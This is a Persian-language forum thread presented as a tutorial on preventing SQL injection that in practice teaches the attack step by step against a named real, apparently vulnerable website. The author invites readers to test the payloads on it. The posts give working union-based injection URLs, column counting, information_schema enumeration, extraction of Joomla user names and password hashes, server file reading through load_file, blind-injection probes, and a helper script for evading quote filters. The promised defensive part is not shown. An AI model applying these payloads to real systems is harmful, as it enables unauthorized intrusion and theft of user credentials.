/
  • آموزش (جلوگیری از) SQL injection!
  • صفحه‌ها (5):
  • ارسال پاسخ   امتیاز موضوع:
    • 6 رأی - میانگین امیتازات: 4
    • 1
    • 2
    • 3
    • 4
    • 5

    حالت موضوعی | حالت خطی آموزش (جلوگیری از) SQL injection!
    نویسنده پیام
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #1
    آموزش (جلوگیری از) SQL injection!
    اگه بشه یه اموزش Sql injection میخوام بزارم .

    از اول هفته شروع می کنم .

    خواهشا تاپیک رو شلوغ نکنین (پیام خصوصی بدین یا دکمه تشکر رو بزنین )
    هر مشکلی در تدریس رو هم گوش زد کنین .

    در ضمن سایت هایی رو هم که میزارم واقعی و دارای باگن این ها رو میزارم تا کدها رو روشون امتحان کنین .

    اگه کسی در مورد این اموزش می تونه کمکم کنه پیغام خصوصی بده .
    (آخرین ویرایش در این ارسال: ۱۳۸۸ بهمن ۴ ۰۹:۱۹ عصر، توسط Y.P.Y.)
    ۱۳۸۸ دي ۲۹ ۰۱:۵۹ صبح
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : molana scooter parvane amir.s mahyar1365 mahtabi shgninc paull darwin boBak af6900 Mohsen Neo phpgangster hamid_80386 sadra.rafatiniya
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #2
    اولین مبحث از اموزش sql injection
    خوب بچه ها می خوایم یه بحث شیرین برای هکر ها و تلخ برای بر نامه نویسان داشته باشیم Dodgy

    Sql injection به معنی تزریق کد sql هست .
    نمی خوام از دید برنامه نویسی نگاه این قضیه کنم (بهتره از دید یک هکر نگاه این مسئله کنیم و نمونه هایی رو هم تجربه کنیم Big Grin
    )

    خوب شروع می کنیم .

    خوب فرض کنین یه ادرس داریم به شکل زیر

    کد PHP:
    /********************* sql injection ********************/  

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=1 

    چند تا پارامتر داریم که به برنامه ارسال میش Wink این پارامترها هر کدوم برای یک کاربردی هست حالا اینطوری فرض کنین که یکی از این پارامتر ها پاامتر ورودی یک دستور Sql هست .

    کد PHP:
    /********************* sql injection ********************/

    SELECT FROM ob_gesamtindex WHERE id=$_get["id"

    تا اینجا عیبی نداره ولی داستان وقتی جالب میشه که طرف مقدار ورودی رو مستقیم به دستور Sql بده و مقادیر اون رو فیلتر نکنه (اخ جون Smile)

    حالا فرض کنین یکی بیاد بجای اون id که قراره ورودی بگیره یه مقدار خاص بزاره , یک کوتیشن یا یک عبارت sql

    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576' 

    mysql خطا داد پس میشه گفت قابل نفوذ هست دو تا کد دیگه رو امتحان می کنیم

    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576%20and%201=1
    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576%20and%201=2 

    با کد اولی صفحه به طور کامل لود میشه ولی با کد دوم نه!!!!!!!!!!!!

    بیاین ببینیم sql مون به چه شکلی میشه

    کد PHP:
    /********************* sql injection ********************/

    SELECT FROM ob_gesamtindex WHERE id=15576 and 1=1



    SELECT 
    FROM ob_gesamtindex WHERE id=15576 and 1=

    پس یه شرط به query مون اضافه کردیم , اولی میگه علاوه بر وجود id =155576 باید 1=1 هم باشه شاید مسخره به نظر برسه ولی یه کوئریه , شرط دوم که همیشه true هست پس فقط شرط اول باید درست باشه که نتیجه بر گردونده بشه

    ولی در query دوم مون داریم میگم علاوه بر شرط بودن اون id باید 1 هم مساوی 2 باشه همون طور که می بینین شرط دوم هیچ وقت درست نیست پس حتی اگر id هم وجود داشته باشه نتیجه ای برگردونده نمیشه .
    (آخرین ویرایش در این ارسال: ۱۳۸۸ بهمن ۲۸ ۰۳:۵۹ عصر، توسط php.)
    ۱۳۸۸ بهمن ۱ ۰۶:۵۹ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : admin parvane scooter HiddeN molana mahyar1365 k2-4u mahtabi shgninc paull darwin af6900 K@M@L reza10wert phpgangster it_nazanin sadra.rafatiniya
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #3
    RE: اموزش sql injection !!!!!!!!
    خوب قبل از اینکه بریم سراغ در اوردن اطلاعات دیتابیس باید یه چیزایی رو در مورد mysql بدونیم .

    در نسخه 5 mysqlوبعد از اون یک دیتابیس به نام information_schema به mysql اضافه شده که اطلاعات جالبی رو میشه ازش بدست اورد , در کل میشه گفت کار یک هکر رو در حملات sql injection خیلی راحت میکنه

    اطلاعاتی رو که ما از این بانک نیاز داریم شامل نام بانک های اطلاعاتی , نام جداول , نام فیلدها و نوعشون هست تمام اطلاعات رو میشه از این بانک بیرون کشید البته اطلاعات دیگیری رو هم داره که باید خودتون برسی کنین .

    اطلاعاتی رو که ما می خوایم در جداول columns , tables هست که همون طور که از نامشون پیداست از جدول اول برای بیرون کشیدن جدول و از جدول دوم برای بیرون کشیدن فیلدها استفاده می کنیم .
    ۱۳۸۸ بهمن ۲ ۰۵:۳۶ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : zoghal parvane scooter molana HiddeN mahyar1365 mahtabi wallfa paull darwin reza10wert shgninc phpgangster it_nazanin
    zoghal آفلاین
    صالح سوزنچی
    *****

    ارسال‌ها: 1,884
    تاریخ عضویت: ۱۳۸۷ دي ۲۵
    اعتبار: 23
    تشکرها : 1497
    ( 1717 تشکر در 985 ارسال )
    ارسال: #4
    RE: اموزش جلوگیری از SQL injection!
    آخ آخ این information_schema رو راست میگه آخرش واسه یک حمله
    ۱۳۸۸ بهمن ۲ ۰۶:۱۴ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : mahyar1365 darwin phpgangster
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #5
    RE: اموزش SQL injection!
    ادامه کار رو با همون ادرس قبلی پیش می گیریم .
    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576 

    در اینجا می خوایم علاوه بر دستور select آی که تو خود برنامه بکار رفته یک دستور select هم با به برنامه اضافه کنیم . نکته ای رو که در اینجا باید بدونین اینکه اگه دو تا دستور Select رو با هم union کنین باید تعداد سطرهایی که نمایش دادهمیشه در هر دو تا یکی باشه .

    در ضمن دستور union برای ترکیب دو یا چند جدول بکار میرود و نتایج رو بدون سطرهای تکراری بر می گردونه .

    خوب کوئری برنامه به شکل زیر هست و ما می خوایم یک کوئری دیه اضافه کنیم که اطلاعات بانک information_schma رو بکشه بیرون
    ولی قبل از اینکه این اطلاعات رو بکشیم بیرون به یک اطلاعت دیگری هم نیاز داریم مثل نام بانک اطلاعاتی که الان بهش متصل هست , تعداد فیلدهای انتخاب شده از کوئری اول تا همون تعداد رو هم در select دوم بکار ببریم .
    کد PHP:
    /********************* sql injection ********************/

    SELECT FROM ob_gesamtindex WHERE id=15576 


    فرض کنین جدول اول که ما داریم و داریم تمام فیلدهای اون رو نمایش میدم دارای 8 فیلد هست پس ما باید دستور select دوم رو به صورت زیر بنویسیم .

    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 
    وووهووو Idea

    اینجوری میشه که از اجرای کوئریمون اشکال نمیگیره در غیر اینصورت خطا میده اما چجوری میشه فهمید چند تا ستون داره .
    خیلی راحت هست کافیه از دستور order by که برای مرتب کردن ستون هاست استفاده کنین با این دستور می تونین نتایج رو بر اساس یک ستون مرتب کنین و حالا اگر اون ستون وجود نداشته باشه برنامه خطا میده (برای صدا زدن به جای نام ستون میشه اعداد رو هم بکار برد ) به عنوان مثال

    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576 order by 1
    order by 2
    order by 3
    .
    .
    .
    .
    order by n 

    اونقدر دادن عدد ههای مختلف به order by رو ادامه میدیم تا برنامه خطا بده پس اگه خطا داد یعنی دیگه چنین ستونی وجود نداره

    من اینکار رو قبلا کردم و به این نتیجه رسیدم که این جدول 17 تا ستون داره چون تو order by 18 خطا داد .
    حالا باید به جای نتایج کوئری اول کوئری دوم رو نمایش بدیم تنها کاری که باید بکنیم اینکه نتایج برگشتی از کوئری اول رو برابر false بزاریم
    اونم تنها با اضافه کردن دستور که در قبل از اون استفاده کردیم ( and 1=2)

    کد PHP:
    /********************* sql injection ********************/

    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 

    حالا اگه این query رو اجرا کنین به جای نتایجی که از اون موقع نمایش میداد مقادیر مقادیر یک تا 17 رو نمایش میده پس یعنی کوئری دوم ما بدرستی انجام شده (بله فقط نمایش چند عدد)

    تا همینجا برای این جلسه کافیه بغییه رو جلسه بعد توضیح مید(خسته شدم از بس تایپ کردم )
    اگه مشکلی بود پیام خصوصی بدین .
    (آخرین ویرایش در این ارسال: ۱۳۸۸ بهمن ۲۸ ۰۴:۰۰ عصر، توسط php.)
    ۱۳۸۸ بهمن ۳ ۰۶:۱۳ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : admin amir.s parvane molana mahyar1365 payam scooter hidensoft mahtabi paull darwin hamid_80386 shgninc bcmodir phpgangster it_nazanin AlirezaHS
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #6
    RE: آموزش (جلوگیری از) SQL injection!
    تا اینجا ما تونستیم به جای نتایجی که از اول نمایش میداد چند عدد رو قرار بدیم اما تازه کار شروع شده .
    حالا ما باید دستورات خودمون رو به جای این اداد قرار بدیم .
    یه موقعیت نمایشی رو انتخاب می کنیم مثلا همون موقعیتی که داره عدد دو رو نمایش میده و دستورات خودمون رو به جای اون میزاریم .

    حالا می خوایم نام دیتابیسی که الان بهش متصلیم رو پیدا کنیم برای این کار باید از تابع زیر استفاده کنیم

    کد PHP:
    database() 
    این تابع رو به جای عدد 2 قرار میدیم و می بینیم که نتیجه میده db1908501 , پس مالان به این دیتابیس متصل هستیم .

    کد PHP:
    http://www.ala-schweiz.ch/index.php?option=com_php&Itemid=21&id=15576 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17 

    خوب مرحله بعدی بیرون کشیدن جدول های این دیتابیس هست که با یک کوئری سادهمیشه این عمل رو انجام داد

    کد PHP:
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where TABLE_SCHEMA="db1908501" 

    شما می تونین این جداول وبانک رو دقیقا در mysql مورد برسی قرار بدین تا شکل روشن تری از این کوئری ها در ذهنتون داشته باشین .

    اما در کوئری بالا یک مشکل وجود داره و مشکل از بعد از دستور where به وجود امده , مشکل وجود سینگل کوتیشن در کودریمون هست به یک نحوی باید این سینگل کوتیشن رو حذف کنیم . برای این کار یه راه پیشنهادی وجود داره و اون تبدیل مقادیر به کد اسکی اون هست , در این تبدیل سینگل کوتیشن ها رو در نظر نمی گیریم و در نتیجه کوئریمون به صورت زیر میشه


    کد PHP:
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where TABLE_SCHEMA=char(100,98,49,57,48,56,53,48 49

    و به این صورت ما تونستیم یکی از جداول بانک رو بیرون بکشیم Big Grin
    حالا برای جدول بعدی کد رو به صورت زیر تغییر میدیم ومیگیم تمام جداول بغییر از ااین جدولی که الان بدست اوردیم


    کد PHP:
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where TABLE_SCHEMA=char(100,98,49,57,48,56,53,48 49table_name not in ('artenliste'

    وبعد از بدست اوردن نام جدول , بعد اون رو هم به کد بالا اضافه میکنیم و جداول رو با یک " , " از هم جدا می کنیم .
    البته جدول ها رو هم باید باز مثل مثال قبل به کد اسکی تبدیل کنین و در جای خودش قرار بدین تا کوئری بدون مشکل اجرا بشه .


    البته یه راه راحت تر هم برای موارد بالا هست Tongue
    خیلی سخته که خواسته باشین نام تمام جداول رو یکی یکی بدست بیارین ولی حالی میده ها Cool

    بای رفع این مشکل یک تابع وجودداره به نام group_concat() قروبنش برم کلی کار رو راحت می کنه و تمام نتایج رو یکجا بر می گردونه

    و در نتیجه کوئریمون به صورت زیر میشه

    کد PHP:
    and 1=2 union select 1,2,3,group_concat(TABLE_NAME),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where TABLE_SCHEMA=char(100,98,49,57,48,56,53,48 49

    خیلی راحت تر شد نه Huh
    (آخرین ویرایش در این ارسال: ۱۳۸۸ بهمن ۷ ۱۲:۱۹ صبح، توسط php.)
    ۱۳۸۸ بهمن ۷ ۱۲:۱۶ صبح
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : admin parvane scooter zoghal hidensoft mahtabi paull hamid_80386 shgninc phpgangster sadra.rafatiniya
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #7
    RE: آموزش (جلوگیری از) SQL injection!
    یه برنامه کوچک برای تبدیل کاکتر به کد نوشتم کدش رو میزارم تا استفاده کنین .
    فقط کدش خیلی ابتدایی هست اگه کسی وقت کرد و ارتقاش داد خبر بده تا اپدیتش کنم .

    کد PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <
    html xmlns="http://www.w3.org/1999/xhtml">
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <
    title>Untitled Document</title>
    </
    head>

    <
    body>

    <?
    php
     $a
    =$_GET['ascii'];

    for(
    $j=0;$j<=strlen($a);$j++)
        for(
    $i=1;$i<=257;$i++)
         {

            if(
    strchr($a[$j],$i)) 
                 echo 
    $i.",";
         }

    ?>
    </body>
    </html> 

    در ضمن برای تبدیل باید به صورت زیر بدین

    کد PHP:
    index.php?ascii=string 
    جای string باید رشته مورد نظر خودتون رو قرار بدین .
    یکی از مشکلات برنامه که بای دحلش کنین ندادن کد کارکتر صفر هست .Wink
    کد کارکتر صفر 48 میشه
    (آخرین ویرایش در این ارسال: ۱۳۸۸ بهمن ۹ ۱۱:۰۹ عصر، توسط php.)
    ۱۳۸۸ بهمن ۹ ۰۶:۰۲ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : zoghal hidensoft Y.P.Y hamid_80386 bcmodir
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #8
    RE: آموزش (جلوگیری از) SQL injection!
    و حالا بعد از بدست اوردن نام جداول دنبال جداول مهم مثل جداولی که ممکنه حاوی نام کاربری و پسورد افراد باشه می گردیم و بعد فیلدهای وان رو در میاریم .

    در اینجا از ظاهر کار مشخص هست که جدولی که ما دنبالش هستیم jos_users هست پس فید های این جدول رو میکشیم بیرون ولی اول توسط برنامه ای که در جلسه پیش نوشتیم کارکترهای jos_users رو تبدیل به کد می کنیم تا sql خطا ندهد و نتیجه در انتها به صورت زیر می شود .
    کد PHP:
    and 1=2 union select 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=char(106,111,115,95,117,115,101,114,115) and TABLE_SCHEMA=char(100 98 49 57 ,4856 53 48 50 

    وخروجی به وصرت زیر می شود .
    کد PHP:
    id,name,username,email,password,usertype,block,sendEmail,gid,registerDate,lastvisitDate,activation,params 

    حال که نام فیلدها ی جدول را در اختیار داریم می تونیم مقادیر انها را یکی یکی بخوانیم .

    کد PHP:
    and 1=2 union select 1,unhex(hex(group_concat(username))),unhex(hex(group_concat(password))),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from db1908502.jos_users 
    در اینجا ما می تونیم نتیجه حمله خودمون رو ببینم و ان هم بدست اوردن username , password سایت هست که در اینجا پسورد کد شده و شما باید ان را رمزگشایی کنید .
    البته روش های hash کردن قابل بازگردانی نیستند و سایت ها ویا نرم افزار هایی که این عمل را انجام می دهند در واقع شامل بانکی حاوی فیلدهای کد و دیکد می باشند که با جستجو در بین فیلدهای کد مقدار دیکد را بر می گردانند و این یعنی یک برنامه باید شامل یک بانک بزرگ یا بهتر بگویم بسیار بزرگ باشد شما با یک حساب سر انگشتی می توانید ببینید که چه تعداد داده را باید در خود ذخیره نماید .
    ۱۳۸۸ بهمن ۲۷ ۱۱:۴۶ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : zoghal hidensoft mahtabi paull hamid_80386 iMohammad phpgangster
    php آفلاین
    hossein
    ****

    ارسال‌ها: 649
    تاریخ عضویت: ۱۳۸۷ دي ۴
    اعتبار: 13
    تشکرها : 467
    ( 776 تشکر در 276 ارسال )
    ارسال: #9
    RE: آموزش (جلوگیری از) SQL injection!
    تا اینجا یکی از روش های sql injection (اسان ترین روش ) رو پشت سر گذاشتیم .

    حال جهت تکمیل مطالب بالا مطالبی را بیان می کنم .

    شما می توانید با استفاده از این حملات محتوای فایل های روی سرور را ببینید و یا فایلی را در سرور ایجاد و محتوایی ا در ان قرار دهید

    مثلا برای دیدن محتوای یک فایل بر روی سرور می تونید به صورت زیر عمل کنید .

    کد PHP:
    and 2=1 union select 1,2,3,4,5,6,7,load_file(char(F:\programs\xampp\htdocs\ciw\program\answer.php )),9,10,11,12 

    البته دو نکته در مثال بالا وجود داره که همین جا متذکر میشم اول اینکه حتما برای دسترسی به فایل باید ادرس مطلق اون بر روی سرور رو در اختیار داشته باشین و دوم اینکه ادرس رو باید به کد تبدیل کنین و بعد در دستور load_file قرار بدین .


    تابع دیگه ای که می خوام معرفی کنم STRSTRING هست که همون طور که با این تابع اشنا هستین اینجا هم برای جدا کردن رشته استفاده میشه .نمونه کاربرد این تابع به صورت زیر هست .

    کد PHP:
    strstring(@@version,1,1

    که@@version ورژن MYSQL استفاده شده را برگشت می دهد و توسط تابع ما کارکتر اول روشته را جدا می کنیم حال شما می توانید کارکتر اول را در خروجی نمایش دهیدیا در یک شرط ار ان استفاده کنید .

    کد PHP:
    and strstring(@@version,1,1)=
    یعنی اگر وژن MYSQL مساوی 4 بود محتوای صفحه را کامل نمایش بده و در غیر اینصورت شرط بر قرار نیست پس sQL اجرا نمی شود .

    شایددر بعضی از سایت ها خروجی بر روی صفحه نمایش داده نشود یا با روش های گفته شده در بلا نتوان دستورات را اجرا کرد ولی با این حال می دانیم که در سایت باگ SQL وجود دارد انگاه باید از روش MSQL یا تزریق کور کورانه استفاده کنید .

    و یکی از توابع این حمله تابع ASCII می باشد که می توانید در این نوع حملات به صورت زیر از ان استفاده کنید


    کد PHP:
    and ascii(substring(select table_name from information_schma.tables limit 0,1),1,1)) > <ascii code
    از داخل به بیرون ابتدا یک SQL برای بدست اوردن نام جداول اجرا می کنیم با محدودیت بر گرداندن یک سطر و توسط تابع SUBSTRING کارکتر اول ان را جدا میکنیم وبا تا ASCII ان را به کد اسکی تبدیل کرده و با کد اسکی مورد نظر خود که باید ان را به جای عبارت <ascii code> قرار دهیم مقایسه می کنیم و این کار را تا زمانی ادامه می دهیم تا نام جداول را بدست اوریم .


    راه دیگر در این نوع حملات به صورت زیر است


    کد PHP:
    and (select 1 from <table_namelimit 1,0)=
    که در این روش به جای <table_name> نام جداول رایج را قرار می دهیم مثلا USER که اگراین جدول وجود داشت شرط برقرار می شود و sQL با موفقیت اجرا می گردد .

    و دراینجا اموزش SQL INJECTION به پایان می رسد و جلسه بعدی در مورد روش های مقابله با ان صحبت خواهیم کرد .
    ۱۳۸۸ بهمن ۲۸ ۱۲:۲۹ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : admin scooter mahtabi paull Y.P.Y hamid_80386
    parsig آفلاین
    عضو مهم
    ****

    ارسال‌ها: 299
    تاریخ عضویت: ۱۳۸۷ دي ۳۰
    اعتبار: 5
    تشکرها : 146
    ( 257 تشکر در 144 ارسال )
    ارسال: #10
    RE: آموزش (جلوگیری از) SQL injection!
    ممنون حسین جان .
    خوبه که برنامه نویس های وب با حملات آشنا باشن تا بتونن در برنامه ها شون جلوی سوتی ها رو بگیرن .
    یک نکته که بعضا هکر ها ( یا برنامه نویس های هکر نما :دی ) ی آماتور رو در اس کیو ال و یو آر ال اینجکشن گول می زنه اینه که برنامه نویس با استفاده @ اررور ها رو کنترل کرده باشه .
    شما آخر یو آر ال کوتیشن می زنی و اررور نمی بینی . بعد به این نتیجه می رسی که باگ نداره .
    اینو گفتم که دوستان فکر نکنن اگه اررور رو قایم کردن برنامه شون بدون باگ می شه .
    نکته ی بعدی اینکه زیاد به اینکه پسوردتون رو هش شده توی دیتا بیس ذخیره می کنید امیدوار نباشد . چون سایت هایی هستن که یک کالکشن بزرگ از مقادیر هش شده و مقدار حقیقی اون ها دارن و دی کد می کنن .
    و نکته ی جالب دیگه اینکه در ورژن 4 مای اس کیو ال یک عدد information_schema روی کل سرور بود و بخاطر همین وقتی از یک هاست تحت سرور می خواستی حمله کنی چون اون هاست دسترسی مستقیم به اون دیتا بیس محترم رو نداشت نمی تونستی اسم تیبل ها و فیلد ها رو بکشی بیرون .
    اما در ورژن 5 مای اس کیو ال گل کاشت ! اومد برای سبک تر شدن بار سرور Schema مربوط به هر اکانت رو جدا کرد . اینجوری شد که هکر های گرامی می تونن جدول ها و فیلد ها رو لیست کنن و ببینن .
    موفق و موید باشید
    __________________________________________________________________________
    [تصویر:  logo-small.jpg]
    ۱۳۸۸ بهمن ۲۸ ۰۶:۵۱ عصر
    یافتن ارسال‌ها WWW پاسخ با نقل قول
     تشکر شده توسط : php mahtabi af6900
    « قدیمی تر | تازه‌ تر »

  • صفحه‌ها (5):
  • ارسال پاسخ
    پرش به انجمن:


    کاربرانِ درحال بازدید از این موضوع: 1 مهمان
    IranPHP.org | تماس با ما | بازگشت به بالا | بازگشت به محتوا | بایگانی | پیوند سایتی RSS